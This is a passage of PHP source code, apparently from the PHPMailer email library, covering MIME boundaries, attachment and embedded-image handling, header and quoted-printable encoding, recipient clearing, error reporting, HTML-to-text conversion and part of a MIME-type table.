                        PKCS7_DETACHED,
                        $this->sign_extracerts_file
                    );
                }
                if ($sign) {
                    @unlink($file);
                    $body = file_get_contents($signed);
                    @unlink($signed);
                    //The message returned by openssl contains both headers and body, so need to split them up
                    $parts = explode("\n\n", $body, 2);
                    $this->MIMEHeader .= $parts[0] . $this->LE . $this->LE;
                    $body = $parts[1];
                } else {
                    @unlink($file);
                    @unlink($signed);
                    throw new phpmailerException($this->lang('signing') . openssl_error_string());
                }
            } catch (phpmailerException $exc) {
                $body = '';
                if ($this->exceptions) {
                    throw $exc;
                }
            }
        }
        return $body;
    }

    /**
     * Return the start of a message boundary.
     * @access protected
     * @param string $boundary
     * @param string $charSet
     * @param string $contentType
     * @param string $encoding
     * @return string
     */
    protected function getBoundary($boundary, $charSet, $contentType, $encoding)
    {
        $result = '';
        if ($charSet == '') {
            $charSet = $this->CharSet;
        }
        if ($contentType == '') {
            $contentType = $this->ContentType;
        }
        if ($encoding == '') {
            $encoding = $this->Encoding;
        }
        $result .= $this->textLine('--' . $boundary);
        $result .= sprintf('Content-Type: %s; charset=%s', $contentType, $charSet);
        $result .= $this->LE;
        // RFC1341 part 5 says 7bit is assumed if not specified
        if ($encoding != '7bit') {
            $result .= $this->headerLine('Content-Transfer-Encoding', $encoding);
        }
        $result .= $this->LE;

        return $result;
    }

    /**
     * Return the end of a message boundary.
     * @access protected
     * @param string $boundary
     * @return string
     */
    protected function endBoundary($boundary)
    {
        return $this->LE . '--' . $boundary . '--' . $this->LE;
    }

    /**
     * Set the message type.
     * PHPMailer only supports some preset message types, not arbitrary MIME structures.
     * @access protected
     * @return void
     */
    protected function setMessageType()
    {
        $type = array();
        if ($this->alternativeExists()) {
            $type[] = 'alt';
        }
        if ($this->inlineImageExists()) {
            $type[] = 'inline';
        }
        if ($this->attachmentExists()) {
            $type[] = 'attach';
        }
        $this->message_type = implode('_', $type);
        if ($this->message_type == '') {
            //The 'plain' message_type refers to the message having a single body element, not that it is plain-text
            $this->message_type = 'plain';
        }
    }

    /**
     * Format a header line.
     * @access public
     * @param string $name
     * @param string $value
     * @return string
     */
    public function headerLine($name, $value)
    {
        return $name . ': ' . $value . $this->LE;
    }

    /**
     * Return a formatted mail line.
     * @access public
     * @param string $value
     * @return string
     */
    public function textLine($value)
    {
        return $value . $this->LE;
    }

    /**
     * Add an attachment from a path on the filesystem.
     * Never use a user-supplied path to a file!
     * Returns false if the file could not be found or read.
     * Explicitly *does not* support passing URLs; PHPMailer is not an HTTP client.
     * If you need to do that, fetch the resource yourself and pass it in via a local file or string.
     * @param string $path Path to the attachment.
     * @param string $name Overrides the attachment name.
     * @param string $encoding File encoding (see $Encoding).
     * @param string $type File extension (MIME) type.
     * @param string $disposition Disposition to use
     * @throws phpmailerException
     * @return boolean
     */
    public function addAttachment($path, $name = '', $encoding = 'base64', $type = '', $disposition = 'attachment')
    {
        try {
            if (!self::isPermittedPath($path) or !@is_file($path)) {
                throw new phpmailerException($this->lang('file_access') . $path, self::STOP_CONTINUE);
            }

            // If a MIME type is not specified, try to work it out from the file name
            if ($type == '') {
                $type = self::filenameToType($path);
            }

            $filename = basename($path);
            if ($name == '') {
                $name = $filename;
            }

            $this->attachment[] = array(
                0 => $path,
                1 => $filename,
                2 => $name,
                3 => $encoding,
                4 => $type,
                5 => false, // isStringAttachment
                6 => $disposition,
                7 => 0
            );

        } catch (phpmailerException $exc) {
            $this->setError($exc->getMessage());
            $this->edebug($exc->getMessage());
            if ($this->exceptions) {
                throw $exc;
            }
            return false;
        }
        return true;
    }

    /**
     * Return the array of attachments.
     * @return array
     */
    public function getAttachments()
    {
        return $this->attachment;
    }

    /**
     * Attach all file, string, and binary attachments to the message.
     * Returns an empty string on failure.
     * @access protected
     * @param string $disposition_type
     * @param string $boundary
     * @return string
     */
    protected function attachAll($disposition_type, $boundary)
    {
        // Return text of body
        $mime = array();
        $cidUniq = array();
        $incl = array();

        // Add all attachments
        foreach ($this->attachment as $attachment) {
            // Check if it is a valid disposition_filter
            if ($attachment[6] == $disposition_type) {
                // Check for string attachment
                $string = '';
                $path = '';
                $bString = $attachment[5];
                if ($bString) {
                    $string = $attachment[0];
                } else {
                    $path = $attachment[0];
                }

                $inclhash = md5(serialize($attachment));
                if (in_array($inclhash, $incl)) {
                    continue;
                }
                $incl[] = $inclhash;
                $name = $attachment[2];
                $encoding = $attachment[3];
                $type = $attachment[4];
                $disposition = $attachment[6];
                $cid = $attachment[7];
                if ($disposition == 'inline' && array_key_exists($cid, $cidUniq)) {
                    continue;
                }
                $cidUniq[$cid] = true;

                $mime[] = sprintf('--%s%s', $boundary, $this->LE);
                //Only include a filename property if we have one
                if (!empty($name)) {
                    $mime[] = sprintf(
                        'Content-Type: %s; name="%s"%s',
                        $type,
                        $this->encodeHeader($this->secureHeader($name)),
                        $this->LE
                    );
                } else {
                    $mime[] = sprintf(
                        'Content-Type: %s%s',
                        $type,
                        $this->LE
                    );
                }
                // RFC1341 part 5 says 7bit is assumed if not specified
                if ($encoding != '7bit') {
                    $mime[] = sprintf('Content-Transfer-Encoding: %s%s', $encoding, $this->LE);
                }

                if ($disposition == 'inline') {
                    $mime[] = sprintf('Content-ID: <%s>%s', $cid, $this->LE);
                }

                // If a filename contains any of these chars, it should be quoted,
                // but not otherwise: RFC2183 & RFC2045 5.1
                // Fixes a warning in IETF's msglint MIME checker
                // Allow for bypassing the Content-Disposition header totally
                if (!(empty($disposition))) {
                    $encoded_name = $this->encodeHeader($this->secureHeader($name));
                    if (preg_match('/[ \(\)<>@,;:\\"\/\[\]\?=]/', $encoded_name)) {
                        $mime[] = sprintf(
                            'Content-Disposition: %s; filename="%s"%s',
                            $disposition,
                            $encoded_name,
                            $this->LE . $this->LE
                        );
                    } else {
                        if (!empty($encoded_name)) {
                            $mime[] = sprintf(
                                'Content-Disposition: %s; filename=%s%s',
                                $disposition,
                                $encoded_name,
                                $this->LE . $this->LE
                            );
                        } else {
                            $mime[] = sprintf(
                                'Content-Disposition: %s%s',
                                $disposition,
                                $this->LE . $this->LE
                            );
                        }
                    }
                } else {
                    $mime[] = $this->LE;
                }

                // Encode as string attachment
                if ($bString) {
                    $mime[] = $this->encodeString($string, $encoding);
                    if ($this->isError()) {
                        return '';
                    }
                    $mime[] = $this->LE . $this->LE;
                } else {
                    $mime[] = $this->encodeFile($path, $encoding);
                    if ($this->isError()) {
                        return '';
                    }
                    $mime[] = $this->LE . $this->LE;
                }
            }
        }

        $mime[] = sprintf('--%s--%s', $boundary, $this->LE);

        return implode('', $mime);
    }

    /**
     * Encode a file attachment in requested format.
     * Returns an empty string on failure.
     * @param string $path The full path to the file
     * @param string $encoding The encoding to use; one of 'base64', '7bit', '8bit', 'binary', 'quoted-printable'
     * @throws phpmailerException
     * @access protected
     * @return string
     */
    protected function encodeFile($path, $encoding = 'base64')
    {
        try {
            if (!self::isPermittedPath($path) or !file_exists($path)) {
                throw new phpmailerException($this->lang('file_open') . $path, self::STOP_CONTINUE);
            }
            $magic_quotes = false;
            if( version_compare(PHP_VERSION, '7.4.0', '<') ) {
                $magic_quotes = get_magic_quotes_runtime();
            }
            if ($magic_quotes) {
                if (version_compare(PHP_VERSION, '5.3.0', '<')) {
                    set_magic_quotes_runtime(false);
                } else {
                    //Doesn't exist in PHP 5.4, but we don't need to check because
                    //get_magic_quotes_runtime always returns false in 5.4+
                    //so it will never get here
                    ini_set('magic_quotes_runtime', false);
                }
            }
            $file_buffer = file_get_contents($path);
            $file_buffer = $this->encodeString($file_buffer, $encoding);
            if ($magic_quotes) {
                if (version_compare(PHP_VERSION, '5.3.0', '<')) {
                    set_magic_quotes_runtime($magic_quotes);
                } else {
                    ini_set('magic_quotes_runtime', $magic_quotes);
                }
            }
            return $file_buffer;
        } catch (Exception $exc) {
            $this->setError($exc->getMessage());
            return '';
        }
    }

    /**
     * Encode a string in requested format.
     * Returns an empty string on failure.
     * @param string $str The text to encode
     * @param string $encoding The encoding to use; one of 'base64', '7bit', '8bit', 'binary', 'quoted-printable'
     * @access public
     * @return string
     */
    public function encodeString($str, $encoding = 'base64')
    {
        $encoded = '';
        switch (strtolower($encoding)) {
            case 'base64':
                $encoded = chunk_split(base64_encode($str), 76, $this->LE);
                break;
            case '7bit':
            case '8bit':
                $encoded = $this->fixEOL($str);
                // Make sure it ends with a line break
                if (substr($encoded, -(strlen($this->LE))) != $this->LE) {
                    $encoded .= $this->LE;
                }
                break;
            case 'binary':
                $encoded = $str;
                break;
            case 'quoted-printable':
                $encoded = $this->encodeQP($str);
                break;
            default:
                $this->setError($this->lang('encoding') . $encoding);
                break;
        }
        return $encoded;
    }

    /**
     * Encode a header string optimally.
     * Picks shortest of Q, B, quoted-printable or none.
     * @access public
     * @param string $str
     * @param string $position
     * @return string
     */
    public function encodeHeader($str, $position = 'text')
    {
        $matchcount = 0;
        switch (strtolower($position)) {
            case 'phrase':
                if (!preg_match('/[\200-\377]/', $str)) {
                    // Can't use addslashes as we don't know the value of magic_quotes_sybase
                    $encoded = addcslashes($str, "\0..\37\177\\\"");
                    if (($str == $encoded) && !preg_match('/[^A-Za-z0-9!#$%&\'*+\/=?^_`{|}~ -]/', $str)) {
                        return ($encoded);
                    } else {
                        return ("\"$encoded\"");
                    }
                }
                $matchcount = preg_match_all('/[^\040\041\043-\133\135-\176]/', $str, $matches);
                break;
            /** @noinspection PhpMissingBreakStatementInspection */
            case 'comment':
                $matchcount = preg_match_all('/[()"]/', $str, $matches);
                // Intentional fall-through
            case 'text':
            default:
                $matchcount += preg_match_all('/[\000-\010\013\014\016-\037\177-\377]/', $str, $matches);
                break;
        }

        //There are no chars that need encoding
        if ($matchcount == 0) {
            return ($str);
        }

        $maxlen = 75 - 7 - strlen($this->CharSet);
        // Try to select the encoding which should produce the shortest output
        if ($matchcount > strlen($str) / 3) {
            // More than a third of the content will need encoding, so B encoding will be most efficient
            $encoding = 'B';
            if (function_exists('mb_strlen') && $this->hasMultiBytes($str)) {
                // Use a custom function which correctly encodes and wraps long
                // multibyte strings without breaking lines within a character
                $encoded = $this->base64EncodeWrapMB($str, "\n");
            } else {
                $encoded = base64_encode($str);
                $maxlen -= $maxlen % 4;
                $encoded = trim(chunk_split($encoded, $maxlen, "\n"));
            }
        } else {
            $encoding = 'Q';
            $encoded = $this->encodeQ($str, $position);
            $encoded = $this->wrapText($encoded, $maxlen, true);
            $encoded = str_replace('=' . self::CRLF, "\n", trim($encoded));
        }

        $encoded = preg_replace('/^(.*)$/m', ' =?' . $this->CharSet . "?$encoding?\\1?=", $encoded);
        $encoded = trim(str_replace("\n", $this->LE, $encoded));

        return $encoded;
    }

    /**
     * Check if a string contains multi-byte characters.
     * @access public
     * @param string $str multi-byte text to wrap encode
     * @return boolean
     */
    public function hasMultiBytes($str)
    {
        if (function_exists('mb_strlen')) {
            return (strlen($str) > mb_strlen($str, $this->CharSet));
        } else { // Assume no multibytes (we can't handle without mbstring functions anyway)
            return false;
        }
    }

    /**
     * Does a string contain any 8-bit chars (in any charset)?
     * @param string $text
     * @return boolean
     */
    public function has8bitChars($text)
    {
        return (boolean)preg_match('/[\x80-\xFF]/', $text);
    }

    /**
     * Encode and wrap long multibyte strings for mail headers
     * without breaking lines within a character.
     * Adapted from a function by paravoid
     * @link http://www.php.net/manual/en/function.mb-encode-mimeheader.php#60283
     * @access public
     * @param string $str multi-byte text to wrap encode
     * @param string $linebreak string to use as linefeed/end-of-line
     * @return string
     */
    public function base64EncodeWrapMB($str, $linebreak = null)
    {
        $start = '=?' . $this->CharSet . '?B?';
        $end = '?=';
        $encoded = '';
        if ($linebreak === null) {
            $linebreak = $this->LE;
        }

        $mb_length = mb_strlen($str, $this->CharSet);
        // Each line must have length <= 75, including $start and $end
        $length = 75 - strlen($start) - strlen($end);
        // Average multi-byte ratio
        $ratio = $mb_length / strlen($str);
        // Base64 has a 4:3 ratio
        $avgLength = floor($length * $ratio * .75);

        for ($i = 0; $i < $mb_length; $i += $offset) {
            $lookBack = 0;
            do {
                $offset = $avgLength - $lookBack;
                $chunk = mb_substr($str, $i, $offset, $this->CharSet);
                $chunk = base64_encode($chunk);
                $lookBack++;
            } while (strlen($chunk) > $length);
            $encoded .= $chunk . $linebreak;
        }

        // Chomp the last linefeed
        $encoded = substr($encoded, 0, -strlen($linebreak));
        return $encoded;
    }

    /**
     * Encode a string in quoted-printable format.
     * According to RFC2045 section 6.7.
     * @access public
     * @param string $string The text to encode
     * @param integer $line_max Number of chars allowed on a line before wrapping
     * @return string
     * @link http://www.php.net/manual/en/function.quoted-printable-decode.php#89417 Adapted from this comment
     */
    public function encodeQP($string, $line_max = 76)
    {
        // Use native function if it's available (>= PHP5.3)
        if (function_exists('quoted_printable_encode')) {
            return quoted_printable_encode($string);
        }
        // Fall back to a pure PHP implementation
        $string = str_replace(
            array('%20', '%0D%0A.', '%0D%0A', '%'),
            array(' ', "\r\n=2E", "\r\n", '='),
            rawurlencode($string)
        );
        return preg_replace('/[^\r\n]{' . ($line_max - 3) . '}[^=\r\n]{2}/', "$0=\r\n", $string);
    }

    /**
     * Backward compatibility wrapper for an old QP encoding function that was removed.
     * @see PHPMailer::encodeQP()
     * @access public
     * @param string $string
     * @param integer $line_max
     * @param boolean $space_conv
     * @return string
     * @deprecated Use encodeQP instead.
     */
    public function encodeQPphp(
        $string,
        $line_max = 76,
        /** @noinspection PhpUnusedParameterInspection */ $space_conv = false
    ) {
        return $this->encodeQP($string, $line_max);
    }

    /**
     * Encode a string using Q encoding.
     * @link http://tools.ietf.org/html/rfc2047
     * @param string $str the text to encode
     * @param string $position Where the text is going to be used, see the RFC for what that means
     * @access public
     * @return string
     */
    public function encodeQ($str, $position = 'text')
    {
        // There should not be any EOL in the string
        $pattern = '';
        $encoded = str_replace(array("\r", "\n"), '', $str);
        switch (strtolower($position)) {
            case 'phrase':
                // RFC 2047 section 5.3
                $pattern = '^A-Za-z0-9!*+\/ -';
                break;
            /** @noinspection PhpMissingBreakStatementInspection */
            case 'comment':
                // RFC 2047 section 5.2
                $pattern = '\(\)"';
                // intentional fall-through
                // for this reason we build the $pattern without including delimiters and []
            case 'text':
            default:
                // RFC 2047 section 5.1
                // Replace every high ascii, control, =, ? and _ characters
                $pattern = '\000-\011\013\014\016-\037\075\077\137\177-\377' . $pattern;
                break;
        }
        $matches = array();
        if (preg_match_all("/[{$pattern}]/", $encoded, $matches)) {
            // If the string contains an '=', make sure it's the first thing we replace
            // so as to avoid double-encoding
            $eqkey = array_search('=', $matches[0]);
            if (false !== $eqkey) {
                unset($matches[0][$eqkey]);
                array_unshift($matches[0], '=');
            }
            foreach (array_unique($matches[0]) as $char) {
                $encoded = str_replace($char, '=' . sprintf('%02X', ord($char)), $encoded);
            }
        }
        // Replace every spaces to _ (more readable than =20)
        return str_replace(' ', '_', $encoded);
    }

    /**
     * Add a string or binary attachment (non-filesystem).
     * This method can be used to attach ascii or binary data,
     * such as a BLOB record from a database.
     * @param string $string String attachment data.
     * @param string $filename Name of the attachment.
     * @param string $encoding File encoding (see $Encoding).
     * @param string $type File extension (MIME) type.
     * @param string $disposition Disposition to use
     * @return void
     */
    public function addStringAttachment(
        $string,
        $filename,
        $encoding = 'base64',
        $type = '',
        $disposition = 'attachment'
    ) {
        // If a MIME type is not specified, try to work it out from the file name
        if ($type == '') {
            $type = self::filenameToType($filename);
        }
        // Append to $attachment array
        $this->attachment[] = array(
            0 => $string,
            1 => $filename,
            2 => basename($filename),
            3 => $encoding,
            4 => $type,
            5 => true, // isStringAttachment
            6 => $disposition,
            7 => 0
        );
    }

    /**
     * Add an embedded (inline) attachment from a file.
     * This can include images, sounds, and just about any other document type.
     * These differ from 'regular' attachments in that they are intended to be
     * displayed inline with the message, not just attached for download.
     * This is used in HTML messages that embed the images
     * the HTML refers to using the $cid value.
     * Never use a user-supplied path to a file!
     * @param string $path Path to the attachment.
     * @param string $cid Content ID of the attachment; Use this to reference
     *        the content when using an embedded image in HTML.
     * @param string $name Overrides the attachment name.
     * @param string $encoding File encoding (see $Encoding).
     * @param string $type File MIME type.
     * @param string $disposition Disposition to use
     * @return boolean True on successfully adding an attachment
     */
    public function addEmbeddedImage($path, $cid, $name = '', $encoding = 'base64', $type = '', $disposition = 'inline')
    {
        if (!self::isPermittedPath($path) or !@is_file($path)) {
            $this->setError($this->lang('file_access') . $path);
            return false;
        }

        // If a MIME type is not specified, try to work it out from the file name
        if ($type == '') {
            $type = self::filenameToType($path);
        }

        $filename = basename($path);
        if ($name == '') {
            $name = $filename;
        }

        // Append to $attachment array
        $this->attachment[] = array(
            0 => $path,
            1 => $filename,
            2 => $name,
            3 => $encoding,
            4 => $type,
            5 => false, // isStringAttachment
            6 => $disposition,
            7 => $cid
        );
        return true;
    }

    /**
     * Add an embedded stringified attachment.
     * This can include images, sounds, and just about any other document type.
     * Be sure to set the $type to an image type for images:
     * JPEG images use 'image/jpeg', GIF uses 'image/gif', PNG uses 'image/png'.
     * @param string $string The attachment binary data.
     * @param string $cid Content ID of the attachment; Use this to reference
     *        the content when using an embedded image in HTML.
     * @param string $name
     * @param string $encoding File encoding (see $Encoding).
     * @param string $type MIME type.
     * @param string $disposition Disposition to use
     * @return boolean True on successfully adding an attachment
     */
    public function addStringEmbeddedImage(
        $string,
        $cid,
        $name = '',
        $encoding = 'base64',
        $type = '',
        $disposition = 'inline'
    ) {
        // If a MIME type is not specified, try to work it out from the name
        if ($type == '' and !empty($name)) {
            $type = self::filenameToType($name);
        }

        // Append to $attachment array
        $this->attachment[] = array(
            0 => $string,
            1 => $name,
            2 => $name,
            3 => $encoding,
            4 => $type,
            5 => true, // isStringAttachment
            6 => $disposition,
            7 => $cid
        );
        return true;
    }

    /**
     * Check if an inline attachment is present.
     * @access public
     * @return boolean
     */
    public function inlineImageExists()
    {
        foreach ($this->attachment as $attachment) {
            if ($attachment[6] == 'inline') {
                return true;
            }
        }
        return false;
    }

    /**
     * Check if an attachment (non-inline) is present.
     * @return boolean
     */
    public function attachmentExists()
    {
        foreach ($this->attachment as $attachment) {
            if ($attachment[6] == 'attachment') {
                return true;
            }
        }
        return false;
    }

    /**
     * Check if this message has an alternative body set.
     * @return boolean
     */
    public function alternativeExists()
    {
        return !empty($this->AltBody);
    }

    /**
     * Clear queued addresses of given kind.
     * @access protected
     * @param string $kind 'to', 'cc', or 'bcc'
     * @return void
     */
    public function clearQueuedAddresses($kind)
    {
        $RecipientsQueue = $this->RecipientsQueue;
        foreach ($RecipientsQueue as $address => $params) {
            if ($params[0] == $kind) {
                unset($this->RecipientsQueue[$address]);
            }
        }
    }

    /**
     * Clear all To recipients.
     * @return void
     */
    public function clearAddresses()
    {
        foreach ($this->to as $to) {
            unset($this->all_recipients[strtolower($to[0])]);
        }
        $this->to = array();
        $this->clearQueuedAddresses('to');
    }

    /**
     * Clear all CC recipients.
     * @return void
     */
    public function clearCCs()
    {
        foreach ($this->cc as $cc) {
            unset($this->all_recipients[strtolower($cc[0])]);
        }
        $this->cc = array();
        $this->clearQueuedAddresses('cc');
    }

    /**
     * Clear all BCC recipients.
     * @return void
     */
    public function clearBCCs()
    {
        foreach ($this->bcc as $bcc) {
            unset($this->all_recipients[strtolower($bcc[0])]);
        }
        $this->bcc = array();
        $this->clearQueuedAddresses('bcc');
    }

    /**
     * Clear all ReplyTo recipients.
     * @return void
     */
    public function clearReplyTos()
    {
        $this->ReplyTo = array();
        $this->ReplyToQueue = array();
    }

    /**
     * Clear all recipient types.
     * @return void
     */
    public function clearAllRecipients()
    {
        $this->to = array();
        $this->cc = array();
        $this->bcc = array();
        $this->all_recipients = array();
        $this->RecipientsQueue = array();
    }

    /**
     * Clear all filesystem, string, and binary attachments.
     * @return void
     */
    public function clearAttachments()
    {
        $this->attachment = array();
    }

    /**
     * Clear all custom headers.
     * @return void
     */
    public function clearCustomHeaders()
    {
        $this->CustomHeader = array();
    }

    /**
     * Add an error message to the error container.
     * @access protected
     * @param string $msg
     * @return void
     */
    protected function setError($msg)
    {
        $this->error_count++;
        if ($this->Mailer == 'smtp' and !is_null($this->smtp)) {
            $lasterror = $this->smtp->getError();
            if (!empty($lasterror['error'])) {
                $msg .= $this->lang('smtp_error') . $lasterror['error'];
                if (!empty($lasterror['detail'])) {
                    $msg .= ' Detail: '. $lasterror['detail'];
                }
                if (!empty($lasterror['smtp_code'])) {
                    $msg .= ' SMTP code: ' . $lasterror['smtp_code'];
                }
                if (!empty($lasterror['smtp_code_ex'])) {
                    $msg .= ' Additional SMTP info: ' . $lasterror['smtp_code_ex'];
                }
            }
        }
        $this->ErrorInfo = $msg;
    }

    /**
     * Return an RFC 822 formatted date.
     * @access public
     * @return string
     * @static
     */
    public static function rfcDate()
    {
        // Set the time zone to whatever the default is to avoid 500 errors
        // Will default to UTC if it's not set properly in php.ini
        date_default_timezone_set(@date_default_timezone_get());
        return date('D, j M Y H:i:s O');
    }

    /**
     * Get the server hostname.
     * Returns 'localhost.localdomain' if unknown.
     * @access protected
     * @return string
     */
    protected function serverHostname()
    {
        $result = 'localhost.localdomain';
        if (!empty($this->Hostname)) {
            $result = $this->Hostname;
        } elseif (isset($_SERVER) and array_key_exists('SERVER_NAME', $_SERVER) and !empty($_SERVER['SERVER_NAME'])) {
            $result = $_SERVER['SERVER_NAME'];
        } elseif (function_exists('gethostname') && gethostname() !== false) {
            $result = gethostname();
        } elseif (php_uname('n') !== false) {
            $result = php_uname('n');
        }
        return $result;
    }

    /**
     * Get an error message in the current language.
     * @access protected
     * @param string $key
     * @return string
     */
    protected function lang($key)
    {
        if (count($this->language) < 1) {
            $this->setLanguage('en'); // set the default language
        }

        if (array_key_exists($key, $this->language)) {
            if ($key == 'smtp_connect_failed') {
                //Include a link to troubleshooting docs on SMTP connection failure
                //this is by far the biggest cause of support questions
                //but it's usually not PHPMailer's fault.
                return $this->language[$key] . ' https://github.com/PHPMailer/PHPMailer/wiki/Troubleshooting';
            }
            return $this->language[$key];
        } else {
            //Return the key as a fallback
            return $key;
        }
    }

    /**
     * Check if an error occurred.
     * @access public
     * @return boolean True if an error did occur.
     */
    public function isError()
    {
        return ($this->error_count > 0);
    }

    /**
     * Ensure consistent line endings in a string.
     * Changes every end of line from CRLF, CR or LF to $this->LE.
     * @access public
     * @param string $str String to fixEOL
     * @return string
     */
    public function fixEOL($str)
    {
        // Normalise to \n
        $nstr = str_replace(array("\r\n", "\r"), "\n", $str);
        // Now convert LE as needed
        if ($this->LE !== "\n") {
            $nstr = str_replace("\n", $this->LE, $nstr);
        }
        return $nstr;
    }

    /**
     * Add a custom header.
     * $name value can be overloaded to contain
     * both header name and value (name:value)
     * @access public
     * @param string $name Custom header name
     * @param string $value Header value
     * @return void
     */
    public function addCustomHeader($name, $value = null)
    {
        if ($value === null) {
            // Value passed in as name:value
            $this->CustomHeader[] = explode(':', $name, 2);
        } else {
            $this->CustomHeader[] = array($name, $value);
        }
    }

    /**
     * Returns all custom headers.
     * @return array
     */
    public function getCustomHeaders()
    {
        return $this->CustomHeader;
    }

    /**
     * Create a message body from an HTML string.
     * Automatically inlines images and creates a plain-text version by converting the HTML,
     * overwriting any existing values in Body and AltBody.
     * Do not source $message content from user input!
     * $basedir is prepended when handling relative URLs, e.g. <img src="/images/a.png"> and must not be empty
     * will look for an image file in $basedir/images/a.png and convert it to inline.
     * If you don't provide a $basedir, relative paths will be left untouched (and thus probably break in email)
     * If you don't want to apply these transformations to your HTML, just set Body and AltBody directly.
     * @access public
     * @param string $message HTML message string
     * @param string $basedir Absolute path to a base directory to prepend to relative paths to images
     * @param boolean|callable $advanced Whether to use the internal HTML to text converter
     *    or your own custom converter @see PHPMailer::html2text()
     * @return string $message The transformed message Body
     */
    public function msgHTML($message, $basedir = '', $advanced = false)
    {
        preg_match_all('/(src|background)=["\'](.*)["\']/Ui', $message, $images);
        if (array_key_exists(2, $images)) {
            if (strlen($basedir) > 1 && substr($basedir, -1) != '/') {
                // Ensure $basedir has a trailing /
                $basedir .= '/';
            }
            foreach ($images[2] as $imgindex => $url) {
                // Convert data URIs into embedded images
                if (preg_match('#^data:(image[^;,]*)(;base64)?,#', $url, $match)) {
                    $data = substr($url, strpos($url, ','));
                    if ($match[2]) {
                        $data = base64_decode($data);
                    } else {
                        $data = rawurldecode($data);
                    }
                    $cid = md5($url) . '@phpmailer.0'; // RFC2392 S 2
                    if ($this->addStringEmbeddedImage($data, $cid, 'embed' . $imgindex, 'base64', $match[1])) {
                        $message = str_replace(
                            $images[0][$imgindex],
                            $images[1][$imgindex] . '="cid:' . $cid . '"',
                            $message
                        );
                    }
                    continue;
                }
                if (
                    // Only process relative URLs if a basedir is provided (i.e. no absolute local paths)
                    !empty($basedir)
                    // Ignore URLs containing parent dir traversal (..)
                    && (strpos($url, '..') === false)
                    // Do not change urls that are already inline images
                    && substr($url, 0, 4) !== 'cid:'
                    // Do not change absolute URLs, including anonymous protocol
                    && !preg_match('#^[a-z][a-z0-9+.-]*:?//#i', $url)
                ) {
                    $filename = basename($url);
                    $directory = dirname($url);
                    if ($directory == '.') {
                        $directory = '';
                    }
                    $cid = md5($url) . '@phpmailer.0'; // RFC2392 S 2
                    if (strlen($directory) > 1 && substr($directory, -1) != '/') {
                        $directory .= '/';
                    }
                    if ($this->addEmbeddedImage(
                        $basedir . $directory . $filename,
                        $cid,
                        $filename,
                        'base64',
                        self::_mime_types((string)self::mb_pathinfo($filename, PATHINFO_EXTENSION))
                    )
                    ) {
                        $message = preg_replace(
                            '/' . $images[1][$imgindex] . '=["\']' . preg_quote($url, '/') . '["\']/Ui',
                            $images[1][$imgindex] . '="cid:' . $cid . '"',
                            $message
                        );
                    }
                }
            }
        }
        $this->isHTML(true);
        // Convert all message body line breaks to CRLF, makes quoted-printable encoding work much better
        $this->Body = $this->normalizeBreaks($message);
        $this->AltBody = $this->normalizeBreaks($this->html2text($message, $advanced));
        if (!$this->alternativeExists()) {
            $this->AltBody = 'To view this email message, open it in a program that understands HTML!' .
                self::CRLF . self::CRLF;
        }
        return $this->Body;
    }

    /**
     * Convert an HTML string into plain text.
     * This is used by msgHTML().
     * Note - older versions of this function used a bundled advanced converter
     * which was been removed for license reasons in #232.
     * Example usage:
     * <code>
     * // Use default conversion
     * $plain = $mail->html2text($html);
     * // Use your own custom converter
     * $plain = $mail->html2text($html, function($html) {
     *     $converter = new MyHtml2text($html);
     *     return $converter->get_text();
     * });
     * </code>
     * @param string $html The HTML text to convert
     * @param boolean|callable $advanced Any boolean value to use the internal converter,
     *   or provide your own callable for custom conversion.
     * @return string
     */
    public function html2text($html, $advanced = false)
    {
        if (is_callable($advanced)) {
            return call_user_func($advanced, $html);
        }
        return html_entity_decode(
            trim(strip_tags(preg_replace('/<(head|title|style|script)[^>]*>.*?<\/\\1>/si', '', $html))),
            ENT_QUOTES,
            $this->CharSet
        );
    }

    /**
     * Get the MIME type for a file extension.
     * @param string $ext File extension
     * @access public
     * @return string MIME type of file.
     * @static
     */
    public static function _mime_types($ext = '')
    {
        $mimes = array(
            'xl'    => 'application/excel',
            'js'    => 'application/javascript',
            'hqx'   => 'application/mac-binhex40',
            'cpt'   => 'application/mac-compactpro',
            'bin'   => 'application/macbinary',
            'doc'   => 'application/msword',
            'word'  => 'application/msword',
            'xlsx'  => 'application/vnd.openxmlformats-officedocument.spreadsheetml.sheet',
            'xltx'  => 'application/vnd.openxmlformats-officedocument.spreadsheetml.template',
            'potx'  => 'application/vnd.openxmlformats-officedocument.presentationml.template',
            'ppsx'  => 'application/vnd.openxmlformats-officedocument.presentationml.slideshow',
            'pptx'  => 'application/vnd.openxmlformats-officedocument.presentationml.presentation',
            'sldx'  => 'application/vnd.openxmlformats-officedocument.presentationml.slide',
            'docx'  => 'application/vnd.openxmlformats-officedocument.wordprocessingml.document',
            'dotx'  => 'application/vnd.openxmlformats-officedocument.wordprocessingml.template',
            'xlam'  => 'application/vnd.ms-excel.addin.macroEnabled.12',
            'xlsb'  => 'application/vnd.ms-excel.sheet.binary.macroEnabled.12',
            'class' => 'application/octet-stream',
            'dll'   => 'application/octet-stream',
            'dms'   => 'application/octet-stream',
            'exe'   => 'application/octet-stream',
            'lha'   => 'application/octet-stream',
            'lzh'   => 'application/octet-stream',
            'psd'   => 'application/octet-stream',
            'sea'   => 'application/octet-stream',
            'so'    => 'application/octet-stream',
            'oda'   => 'application/oda',
            'pdf'   => 'application/pdf',
            'ai'    => 'application/postscript',
            'eps'   => 'application/postscript',
            'ps'    => 'application/postscript',
            'smi'   => 'application/smil',
            'smil'  => 'application/smil',
            'mif'   => 'application/vnd.mif',
            'xls'   => 'application/vnd.ms-excel',
            'ppt'   => 'application/vnd.ms-powerpoint',
            'wbxml' => 'application/vnd.wap.wbxml',
            'wmlc'  => 'application/vnd.wap.wmlc',
            'dcr'   => 'application/x-director',
            'dir'   => 'application/x-director',
            'dxr'   => 'application/x-director',
            'dvi'   => 'application/x-dvi',
            'gtar'  => 'application/x-gtar',
            'php3'  => 'application/x-httpd-php',
            'php4'  => 'application/x-httpd-php',
            'php'   => 'application/x-httpd-php',
            'phtml' => 'application/x-httpd-php',
            'phps'  => 'application/x-httpd-php-source',
            'swf'   => 'application/x-shockwave-flash',
            'sit'   => 'application/x-stuffit',
            'tar'   => 'application/x-tar',
            'tgz'   => 'application/x-tar',
            'xht'   => 'application/xhtml+xml',
            'xhtml' => 'application/xhtml+xml',
            'zip'   => 'application/zip',
            'mid'   => 'audio/midi',
            'midi'  => 'audio/midi',
            'mp2'   => 'audio/mpeg',
            'mp3'   => 'audio/mpeg',
            'mpga'  => 'audio/mpeg',
            'aif'   => 'audio/x-aiff',
            'aifc'  => 'audio/x-aiff',
            'aiff'  => 'audio/x-aiff',
            'ram'   => 'audio/x-pn-realaudio',
